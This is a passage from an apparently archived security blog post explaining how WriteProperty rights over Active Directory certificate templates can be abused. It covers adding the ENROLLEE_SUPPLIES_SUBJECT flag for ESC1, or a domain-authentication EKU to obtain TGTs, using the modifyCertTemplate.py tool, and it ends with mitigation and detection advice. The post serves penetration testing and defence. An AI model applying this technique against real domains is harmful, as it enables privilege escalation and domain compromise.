stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8205;Using the <code>-get-acl</code> flag above, we can easily diagnose the attribute our WriteProperty permission applies to.</p><p>If the modifiable attribute let&#8217;s us effect the template&#8217;s vulnerability to ESC scenarios, we can now identify it with certainty. In my experience though, this seems to be pretty niche. Instead of just searching for WriteProperty access to attributes like <code>msPKI-Certificate-Name-Flag</code> or <code>pkiExtendedKeyUsage</code>, it&#8217;s more likely you&#8217;ll that you&#8217;ll encounter a scenario where WriteProperty applies to all object attributes.</p><h5>Generic WriteProperty Exploitation</h5><p>If WriteProperty permissions apply to all object properties, the <code>ObjectType</code> value in the ACE will show all zeros.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mrXp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mrXp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 424w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 848w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 1272w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mrXp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png" width="1083" height="599" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:599,&quot;width&quot;:1083,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mrXp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 424w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 848w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 1272w, https://substackcdn.com/image/fetch/$s_!mrXp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc864b246-2842-426b-9cb9-3f41fc9c5c93_1083x599.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8205;In this case, it&#8217;s likely the easiest path to exploitation will be adding the <code>ENROLLEE_SUPPLIES_SUBJECT</code> (ESS) flag and performing ESC1. ESS can be added by specifying the property to edit with <code>-property</code> (<code>msPKI-Certificate-Name-Flag</code>) and the flag to be added with <code>-add</code> (ESS). Valid flags other than ESS can be added here as well.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JFoU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JFoU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 424w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 848w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 1272w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JFoU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png" width="1456" height="586" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:586,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!JFoU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 424w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 848w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 1272w, https://substackcdn.com/image/fetch/$s_!JFoU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589efa88-757a-4a15-962d-0d6528f71eb5_3394x1366.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>With ESS added, you&#8217;re now free to use the tool of your choice to enroll in the template with a subject alternate name.</p><p>Another potential use is adding an EKU that enables domain authentication, allowing the certificate to be used to obtain a TGT once enrolled in. This can be done by slightly modifying the previous add command.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3GQu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3GQu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 424w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 848w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 1272w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3GQu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png" width="1456" height="613" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:613,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!3GQu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 424w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 848w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 1272w, https://substackcdn.com/image/fetch/$s_!3GQu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb844c0a-e373-4cb7-a88e-32945d93500e_3264x1374.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8205;The tool output also provides the value of the property prior to modification, so the template can be reset after exploitation (don&#8217;t leave the template vulnerable!). This can be done by supplying the raw value from the previous output with the <code>-value</code> flag.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WQrQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WQrQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 424w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 848w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 1272w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WQrQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png" width="1456" height="334" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:334,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WQrQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 424w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 848w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 1272w, https://substackcdn.com/image/fetch/$s_!WQrQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a85d282-6181-4528-b06e-bab8433d7836_3512x806.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>In the case of an attribute that takes a list, like <code>pkiExtendedKeyUsage</code>, it can be reverted in a similar fashion.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HQbX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HQbX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 424w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 848w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 1272w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HQbX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png" width="1456" height="334" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:334,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!HQbX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 424w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 848w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 1272w, https://substackcdn.com/image/fetch/$s_!HQbX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc76ed27-4c2f-4333-849a-9e23e555ab6c_3512x806.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>&#8205;Tooling</p><p>modifyCertTemplate.py is available on <a href="https://web.archive.org/web/20250915190745mp_/https://github.com/fortalice/modifyCertTemplate">GitHub</a>. Pull requests and bug issues are welcome! I should also note that while I was putting this blog together, <a href="https://web.archive.org/web/20250915190745mp_/https://twitter.com/FuzzySec">@FuzzySec</a> added several WriteOwner/WriteDACL/WriteProperty abuse functions to <a href="https://web.archive.org/web/20250915190745mp_/https://github.com/FuzzySecurity/StandIn">StandIn</a>. Be sure to check out this tool as well!</p><h3>Mitigation and Detection</h3><p>The best prevention of malicious certificate template modification is to audit the accounts that have FullControl, WriteOwner, WriteDACL or WriteProperty over certificate template objects and ensure that no low-privilge accounts or groups have these rights. <a href="https://web.archive.org/web/20250915190745mp_/https://github.com/GhostPack/PSPKIAudit">PSPKIAudit</a> may be used to help accomplish this.</p><p>On the detection side, the relevant Windows event ID is 4899. Following the steps outlined by Microsoft <a href="https://web.archive.org/web/20250915190745mp_/https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786432(v=ws.11)">here</a>, I was able to get the event to be logged, but with strings attached. Confirming conditions described in the <a href="https://web.archive.org/web/20250915190745mp_/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf">whitepaper</a>, I found event ID 4899 only gets logged if the template is enrolled in after a modification occurs. If a template modification occurs, but the template is not enrolled in, the modification event will NOT be logged. Unfortunately the event data doesn&#8217;t contain which account made the modification, but it does contain change information, including the old and new values.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Zpyd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zpyd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 424w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 848w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 1272w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zpyd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png" width="1456" height="1167" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1167,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Zpyd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 424w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 848w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 1272w, https://substackcdn.com/image/fetch/$s_!Zpyd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6baa4a9-d5f3-4db6-b124-a3bde1e255ca_1804x1446.png 1456w" sizes="100vw" loading="lazy"></picture><div 